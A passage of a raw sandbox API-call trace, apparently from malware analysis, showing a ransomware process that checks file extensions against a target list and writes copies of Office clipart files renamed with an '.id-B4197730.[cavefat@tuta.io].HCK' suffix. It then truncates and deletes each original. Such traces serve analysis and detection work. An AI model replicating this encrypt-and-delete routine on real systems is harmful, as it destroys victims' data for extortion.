(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.129] lstrlenW (lpString=".doc") returned 4 [0232.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.129] lstrlenW (lpString=".docx") returned 5 [0232.129] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.129] lstrlenW (lpString=".pdf") returned 4 [0232.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.129] lstrlenW (lpString=".xls") returned 4 [0232.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.129] lstrlenW (lpString=".xlsx") returned 5 [0232.129] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.129] lstrlenW (lpString=".ppt") returned 4 [0232.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".zip") returned 4 [0232.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.130] lstrlenW (lpString=".rar") returned 4 [0232.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString=".bz2") returned 4 [0232.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString=".7z") returned 3 [0232.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".dbf") returned 4 [0232.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".1cd") returned 4 [0232.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".jpg") returned 4 [0232.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".doc") returned 4 [0232.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString=".docx") returned 5 [0232.130] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.130] lstrlenW (lpString=".pdf") returned 4 [0232.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString=".xls") returned 4 [0232.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.130] lstrlenW (lpString=".xlsx") returned 5 [0232.130] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.130] lstrlenW (lpString=".ppt") returned 4 [0232.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".zip") returned 4 [0232.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.130] lstrlenW (lpString=".rar") returned 4 [0232.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString=".bz2") returned 4 [0232.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString=".7z") returned 3 [0232.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".dbf") returned 4 [0232.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".1cd") returned 4 [0232.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.130] lstrlenW (lpString=".jpg") returned 4 [0232.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.131] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.131] lstrlenW (lpString="J0105490.WMF") returned 12 [0232.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.132] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=18728) returned 1 [0232.132] CloseHandle (hObject=0x4d4) returned 1 [0232.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0232.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.133] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.133] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0232.133] GetLastError () returned 0x0 [0232.133] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4928, lpOverlapped=0x0) returned 1 [0232.135] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4930, lpOverlapped=0x0) returned 1 [0232.136] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.136] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.136] SetEndOfFile (hFile=0x4b4) returned 1 [0232.136] CloseHandle (hObject=0x4b4) returned 1 [0232.136] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.136] SetEndOfFile (hFile=0x4d4) returned 1 [0232.138] CloseHandle (hObject=0x4d4) returned 1 [0232.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0232.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.139] lstrlenW (lpString=".doc") returned 4 [0232.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.139] lstrlenW (lpString=".docx") returned 5 [0232.139] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.139] lstrlenW (lpString=".pdf") returned 4 [0232.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.139] lstrlenW (lpString=".xls") returned 4 [0232.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.139] lstrlenW (lpString=".xlsx") returned 5 [0232.139] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.139] lstrlenW (lpString=".ppt") returned 4 [0232.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".zip") returned 4 [0232.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.140] lstrlenW (lpString=".rar") returned 4 [0232.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString=".bz2") returned 4 [0232.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString=".7z") returned 3 [0232.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".dbf") returned 4 [0232.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".1cd") returned 4 [0232.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".jpg") returned 4 [0232.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".doc") returned 4 [0232.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString=".docx") returned 5 [0232.140] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.140] lstrlenW (lpString=".pdf") returned 4 [0232.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString=".xls") returned 4 [0232.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.140] lstrlenW (lpString=".xlsx") returned 5 [0232.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.140] lstrlenW (lpString=".ppt") returned 4 [0232.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".zip") returned 4 [0232.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.140] lstrlenW (lpString=".rar") returned 4 [0232.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString=".bz2") returned 4 [0232.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString=".7z") returned 3 [0232.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".dbf") returned 4 [0232.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".1cd") returned 4 [0232.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0232.140] lstrlenW (lpString=".jpg") returned 4 [0232.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.141] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.141] lstrlenW (lpString="J0105496.WMF") returned 12 [0232.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.141] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5156) returned 1 [0232.141] CloseHandle (hObject=0x4d4) returned 1 [0232.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0232.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.142] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.142] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0232.143] GetLastError () returned 0x0 [0232.143] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1424, lpOverlapped=0x0) returned 1 [0232.144] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1430, lpOverlapped=0x0) returned 1 [0232.145] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.145] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.145] SetEndOfFile (hFile=0x4b4) returned 1 [0232.145] CloseHandle (hObject=0x4b4) returned 1 [0232.145] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.145] SetEndOfFile (hFile=0x4d4) returned 1 [0232.147] CloseHandle (hObject=0x4d4) returned 1 [0232.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString=".doc") returned 4 [0232.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString=".docx") returned 5 [0232.149] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.149] lstrlenW (lpString=".pdf") returned 4 [0232.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString=".xls") returned 4 [0232.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.149] lstrlenW (lpString=".xlsx") returned 5 [0232.149] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.149] lstrlenW (lpString=".ppt") returned 4 [0232.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString=".zip") returned 4 [0232.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.149] lstrlenW (lpString=".rar") returned 4 [0232.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString=".bz2") returned 4 [0232.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString=".7z") returned 3 [0232.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString=".dbf") returned 4 [0232.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString=".1cd") returned 4 [0232.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString=".jpg") returned 4 [0232.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.149] lstrlenW (lpString=".doc") returned 4 [0232.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.149] lstrlenW (lpString=".docx") returned 5 [0232.149] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.149] lstrlenW (lpString=".pdf") returned 4 [0232.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.150] lstrlenW (lpString=".xls") returned 4 [0232.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.150] lstrlenW (lpString=".xlsx") returned 5 [0232.150] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.150] lstrlenW (lpString=".ppt") returned 4 [0232.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.150] lstrlenW (lpString=".zip") returned 4 [0232.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.150] lstrlenW (lpString=".rar") returned 4 [0232.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.150] lstrlenW (lpString=".bz2") returned 4 [0232.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.150] lstrlenW (lpString=".7z") returned 3 [0232.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.150] lstrlenW (lpString=".dbf") returned 4 [0232.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.150] lstrlenW (lpString=".1cd") returned 4 [0232.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0232.150] lstrlenW (lpString=".jpg") returned 4 [0232.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.150] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.150] lstrlenW (lpString="J0105502.WMF") returned 12 [0232.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.151] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5472) returned 1 [0232.151] CloseHandle (hObject=0x4d4) returned 1 [0232.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0232.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0232.151] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.151] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0232.152] GetLastError () returned 0x0 [0232.152] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1560, lpOverlapped=0x0) returned 1 [0232.153] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1570, lpOverlapped=0x0) returned 1 [0232.154] ReadFile (in: hFile=0x4d4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.154] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.154] SetEndOfFile (hFile=0x4b4) returned 1 [0232.154] CloseHandle (hObject=0x4b4) returned 1 [0232.154] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.154] SetEndOfFile (hFile=0x4d4) returned 1 [0232.156] CloseHandle (hObject=0x4d4) returned 1 [0232.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0232.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0232.157] lstrlenW (lpString=".doc") returned 4 [0232.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.157] lstrlenW (lpString=".docx") returned 5 [0232.157] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.157] lstrlenW (lpString=".pdf") returned 4 [0232.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.158] lstrlenW (lpString=".xls") returned 4 [0232.158] lstrcmpiW 